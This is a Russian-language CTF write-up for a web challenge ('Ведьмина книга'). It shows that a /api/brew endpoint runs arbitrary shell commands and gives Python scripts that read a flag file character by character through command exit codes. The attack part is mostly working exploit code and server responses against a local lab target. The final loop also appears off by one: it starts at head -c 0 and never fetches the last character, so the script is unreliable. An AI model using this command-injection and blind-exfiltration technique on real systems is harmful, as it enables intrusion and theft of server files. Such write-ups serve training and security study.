**Web 9. Ведьмина книга**

**Web-1  - Ведьмина книга (1/1)**

Говорят здесь можно найти рецепты зелий на любой вкус. Пролистайте ведьмину книгу и соберите удачное зелье.

Рекомендуемые утилиты: burp suite, Python и др.

Цель работы: анализ уязвимого web-приложения

Итог работы: получить доступ к флагу.

Критерий оценки: предоставление корректного флага.

Решение

Изучив исходный код страницы, узнаем, как обрабатываются рецепты:

try {

const response = await fetch('/api/brew', {

method: 'POST',

headers: { 'Content-Type': 'application/json' },

body: JSON.stringify({ command: "./script.sh " + "\"" + potions + "\"" })

});

const result = await response.json();

if (result.ret\_code !== undefined) {

const index = result.ret\_code % potions.length;

const potionName = potions[index];

messageDiv.textContent = 'Brewing complete! Result: ' + potionName;

state.ingredient = null;

state.potion1 = potionName;

state.potion2 = potionName;

state.potion3 = potionName;

document.getElementById('ingredient-display').textContent = '?';

document.getElementById('potion1-display').textContent = potionName;

document.getElementById('potion2-display').textContent = potionName;

document.getElementById('potion3-display').textContent = potionName;

} else {

messageDiv.textContent = 'Brewing failed: KaBOOM!';

}

} catch (error) {

messageDiv.textContent = 'Error: ' + error.message;

}

Попробуем отправить рецепт самостоятельно. Изменив поле command на ls -la:

import requests as r

URL = "http://localhost:5001/api/brew"

resp = r.post(URL,json={'command':'ls -la'})

print(resp.json())

Ответ от сервера:

{'ret\_code': 0, 'message': 'No error'}

Судя по ответу, нам возвращается статус «код выполнения команды», попробуем отправить команду, которая выполнится с ошибкой:

import requests as r

URL = "http://localhost:5001/api/brew"

resp = r.post(URL,json={'command':'ls -la ./asdasdasd123'})

print(resp.json())

Ответ от сервера:

{'ret\_code': 1, 'message': 'exit status 1'}

Чтобы убдиться, отправим exit 123, если нам возвращают код возврата, то мы должны увидеть 123 в выводе с сервера:

{'ret\_code': 123, 'message': 'exit status 123'}

Теперь нам нужно прочитать файл ./flag.txt. Для этого нужно узнать длину данного файла в bash, это делается с помощью `${#VARIABLE\_NAME}. А также нужно вывести сам флаг. Для этого посимвольно будем возвращать ASCII код при помощи:

exit $(head -c N flag.txt | tail -c 1 | od -An -t u1)

где:

- head -c N flag.txt - выводим N символов флага

- tail -c 1 - выводим только последний символ

- od -An -t u1 - преобразуем символ в unsigned byte

Итоговый скрипт для вывода флага:

import requests as r

URL = "http://localhost:5001/api/brew"

flag = ""

length = r.post(URL, json={"command": "VAR=$(cat ./flag.txt); exit ${#VAR}"}).json()['ret\_code']

for number in range(length):

resp = r.post(URL, json={"command": f"exit $(head -c {number} flag.txt | tail -c 1 | od -An -t u1)"})

flag += chr(resp.json()["ret\_code"])

print(flag)